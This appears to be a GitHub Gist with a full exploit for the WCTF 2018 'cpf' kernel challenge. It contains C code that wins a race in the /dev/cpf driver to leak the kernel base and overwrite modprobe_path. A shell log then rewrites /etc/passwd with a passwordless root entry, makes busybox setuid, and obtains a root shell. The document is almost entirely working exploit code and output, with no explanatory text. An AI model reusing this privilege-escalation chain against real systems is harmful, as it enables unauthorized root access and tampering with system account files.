Last active
December 22, 2018 16:05
-
-
Save hama7230/07cd52a0e6838ea8e6b562b852e37608 to your computer and use it in GitHub Desktop.
WCTF 2018 cpf (made by Cykor)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdint.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <pthread.h> | |
#include <unistd.h> | |
unsigned long kernel_base ; | |
int fd; | |
char* addr; | |
typedef uint32_t __u32; | |
typedef uint64_t __aligned_u64; | |
struct cpf_attr { /* anonymous struct used by CPF_PROG_LOAD command */ | |
__u32 prog_type; /* one of enum cpf_prog_type */ | |
__u32 insn_cnt; | |
__aligned_u64 insns; | |
__aligned_u64 license; | |
__u32 log_level; /* verbosity level of verifier */ | |
__u32 log_size; /* size of user buffer */ | |
__aligned_u64 log_buf; /* user supplied buffer */ | |
__u32 kern_version; /* checked when prog_type=kprobe */ | |
__u32 prog_flags; | |
} attr; | |
int load_attr(char* buf) { | |
return ioctl(fd, 0, buf); | |
} | |
int dump_attr(char* buf) { | |
return ioctl(fd, 1, buf); | |
} | |
int prog_load(char* buf) { | |
return ioctl(fd, 7, buf); | |
} | |
int race_win = 0; | |
int flag_m = 0, flag_t = 0; | |
void *thread() { | |
while(!race_win) { | |
flag_t = 1; | |
while (!flag_m); | |
mprotect(addr, 0x1000, PROT_NONE); | |
flag_t = 0; | |
usleep(1); | |
mprotect(addr, 0x1000, PROT_READ|PROT_WRITE); | |
} | |
} | |
int main(void) { | |
pthread_t t; | |
unsigned long tmp[0xb0/8]; | |
// mmap((void*)addr, 0x1000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0); | |
addr = mmap((void*)0xdead0000, 0x1000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0); | |
printf("addr = %p\n", addr); | |
if (addr < 0) | |
exit(2); | |
puts("open /dev/cpf"); | |
fd = open("/dev/cpf", O_RDWR); | |
if (fd < 0) | |
exit(1); | |
puts("attempt race condition"); | |
memset(addr, 'a', 0xb0); | |
memset(tmp, 'b', 0xb0); | |
pthread_create(&t, NULL, thread, (void*)NULL); | |
while (1) { | |
ioctl(fd, 3, 0xdead); | |
while(!flag_t); | |
flag_m = 1; | |
int result = load_attr(addr); | |
usleep(1); | |
flag_m = 0; | |
if (result < 0) { | |
dump_attr(tmp); | |
if (memcmp(tmp, "aaaaaaaa", 8)) { | |
printf("leak value = %p\n", tmp[2]); | |
kernel_base = tmp[2] - 0xbaa18; | |
if ((kernel_base & 0xffffff) == 0x000000) { | |
race_win = 1; | |
flag_m = 1; | |
} | |
break; | |
} | |
} | |
} | |
pthread_join(t, NULL); | |
puts("win race condition"); | |
printf("kernel_base = %p\n", kernel_base); | |
unsigned long modprobe_path = kernel_base + 0x12519a0; | |
unsigned long prog[] = {0x612f706d742f, 0, 0, 0}; // /tmp/a | |
attr.prog_type = 1; | |
attr.license = (long)"hoge"; | |
attr.insn_cnt = 1; | |
attr.prog_type = 1; | |
attr.kern_version = 0; | |
attr.log_level = 9; | |
attr.insns = &prog; | |
attr.log_buf = modprobe_path; | |
attr.log_size = 128; | |
memset(tmp, 0, 0xb0); | |
memcpy(tmp, &attr, sizeof(attr)); | |
load_attr((char*)tmp); | |
prog_load(tmp); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ./run.sh | |
/ $ ./exp | |
addr = 0xdead0000 | |
open /dev/cpf | |
attempt race condition | |
leak value = 0xffffffffaa0baa18 | |
win race condition | |
kernel_base = 0xffffffffaa000000 | |
/ $ cat /proc/sys/kernel/modprobe | |
/tmp/a | |
/ $ echo -ne '\xff\xff\xff\xff' > /tmp/hoge && chmod +x /tmp/hoge | |
/ $ echo -ne "#!/bin/sh\n/bin/chmod -R 4777 /etc/passwd /bin/busybox\necho 'root::0:0:root:/root:/bin/sh' > /etc/passwd\n" > /tmp/a && chmod +x /tmp/a | |
/ $ /tmp/hoge | |
/tmp/hoge: line 1: ����: not found | |
/ $ su root | |
~ # id | |
uid=0(root) gid=0(root) groups=0(root) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment